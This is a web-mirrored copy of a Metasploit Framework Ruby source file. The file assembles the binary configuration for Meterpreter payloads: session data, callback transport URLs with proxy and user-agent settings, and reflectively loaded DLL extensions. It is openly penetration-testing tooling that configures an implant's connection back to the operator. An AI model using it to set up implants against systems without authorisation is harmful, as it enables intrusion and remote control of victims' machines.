CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/payloads/meterpreter/config.rb
Views: 11655
1
# -*- coding: binary -*-
2
require 'rex/socket/x509_certificate'
3
require 'rex/post/meterpreter/extension_mapper'
4
require 'securerandom'
5
class Rex::Payloads::Meterpreter::Config
6
7
include Msf::ReflectiveDLLLoader
8
9
URL_SIZE = 512
10
UA_SIZE = 256
11
PROXY_HOST_SIZE = 128
12
PROXY_USER_SIZE = 64
13
PROXY_PASS_SIZE = 64
14
CERT_HASH_SIZE = 20
15
LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd
16
17
def initialize(opts={})
18
@opts = opts
19
if opts[:ascii_str] == true
20
@to_str = self.method(:to_ascii)
21
else
22
@to_str = self.method(:to_wchar_t)
23
end
24
end
25
26
def to_b
27
config_block
28
end
29
30
private
31
32
def is_x86?
33
@opts[:arch] == ARCH_X86
34
end
35
36
def to_str(item, size)
37
38
if item.size >= size # ">=" instead of only ">", because we need space for a terminating null byte (for string handling in C)
39
raise Msf::PayloadItemSizeError.new(item, size - 1)
40
end
41
@to_str.call(item, size)
42
end
43
44
def to_wchar_t(item, size)
45
to_ascii(item, size).unpack('C*').pack('v*')
46
end
47
48
def to_ascii(item, size)
49
item.to_s.ljust(size, "\x00")
50
end
51
52
def session_block(opts)
53
uuid = opts[:uuid].to_raw
54
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
55
56
# if no session guid is given then we'll just pass the blank
57
# guid through. this is important for stageless payloads
58
if opts[:stageless] == true || opts[:null_session_guid] == true
59
session_guid = "\x00" * 16
60
else
61
session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
62
end
63
session_data = [
64
0, # comms socket, patched in by the stager
65
exit_func, # exit function identifier
66
opts[:expiration], # Session expiry
67
uuid, # the UUID
68
session_guid, # the Session GUID
69
]
70
pack_string = 'QVVA*A*'
71
if opts[:debug_build]
72
session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target
73
pack_string << 'A*'
74
end
75
76
session_data.pack(pack_string)
77
end
78
79
def transport_block(opts)
80
# Build the URL from the given parameters, and pad it out to the
81
# correct size
82
lhost = opts[:lhost]
83
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
84
lhost = "[#{lhost}]"
85
end
86
87
url = "#{opts[:scheme]}://#{lhost}"
88
url << ":#{opts[:lport]}" if opts[:lport]
89
url << "#{opts[:uri]}/" if opts[:uri]
90
url << "?#{opts[:scope_id]}" if opts[:scope_id]
91
92
# if the transport URI is for a HTTP payload we need to add a stack
93
# of other stuff
94
pack = 'A*VVV'
95
transport_data = [
96
to_str(url, URL_SIZE), # transport URL
97
opts[:comm_timeout], # communications timeout
98
opts[:retry_total], # retry total time
99
opts[:retry_wait] # retry wait time
100
]
101
102
if url.start_with?('http')
103
proxy_host = ''
104
if opts[:proxy_host] && opts[:proxy_port]
105
prefix = 'http://'
106
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
107
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
108
end
109
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
110
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
111
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
112
ua = to_str(opts[:ua] || '', UA_SIZE)
113
114
cert_hash = "\x00" * CERT_HASH_SIZE
115
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
116
117
custom_headers = opts[:custom_headers] || ''
118
custom_headers = to_str(custom_headers, custom_headers.length + 1)
119
120
# add the HTTP specific stuff
121
transport_data << proxy_host # Proxy host name
122
transport_data << proxy_user # Proxy user name
123
transport_data << proxy_pass # Proxy password
124
transport_data << ua # HTTP user agent
125
transport_data << cert_hash # SSL cert hash for verification
126
transport_data << custom_headers # any custom headers that the client needs
127
128
# update the packing spec
129
pack << 'A*A*A*A*A*A*'
130
end
131
132
# return the packed transport information
133
transport_data.pack(pack)
134
end
135
136
def extension_block(ext_name, file_extension, debug_build: false)
137
ext_name = ext_name.strip.downcase
138
ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
139
file_extension, debug: debug_build))
140
141
[ ext.length, ext ].pack('VA*')
142
end
143
144
def extension_init_block(name, value)
145
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)
146
147
# for now, we're going to blindly assume that the value is a path to a file
148
# which contains the data that gets passed to the extension
149
content = ::File.read(value, mode: 'rb') + "\x00\x00"
150
data = [
151
ext_id,
152
content.length,
153
content
154
]
155
156
data.pack('VVA*')
157
end
158
159
def config_block
160
# start with the session information
161
config = session_block(@opts)
162
163
# then load up the transport configurations
164
(@opts[:transports] || []).each do |t|
165
config << transport_block(t)
166
end
167
168
# terminate the transports with NULL (wchar)
169
config << "\x00\x00"
170
171
# configure the extensions - this will have to change when posix comes
172
# into play.
173
file_extension = 'x86.dll'
174
file_extension = 'x64.dll' unless is_x86?
175
176
(@opts[:extensions] || []).each do |e|
177
config << extension_block(e, file_extension, debug_build: @opts[:debug_build])
178
end
179
180
# terminate the extensions with a 0 size
181
config << [0].pack('V')
182
183
# wire in the extension init data
184
(@opts[:ext_init] || '').split(':').each do |cfg|
185
name, value = cfg.split(',')
186
config << extension_init_block(name, value)
187
end
188
189
# terminate the ext init config with -1
190
config << "\xFF\xFF\xFF\xFF"
191
192
# and we're done
193
config
194
end
195
end
196
197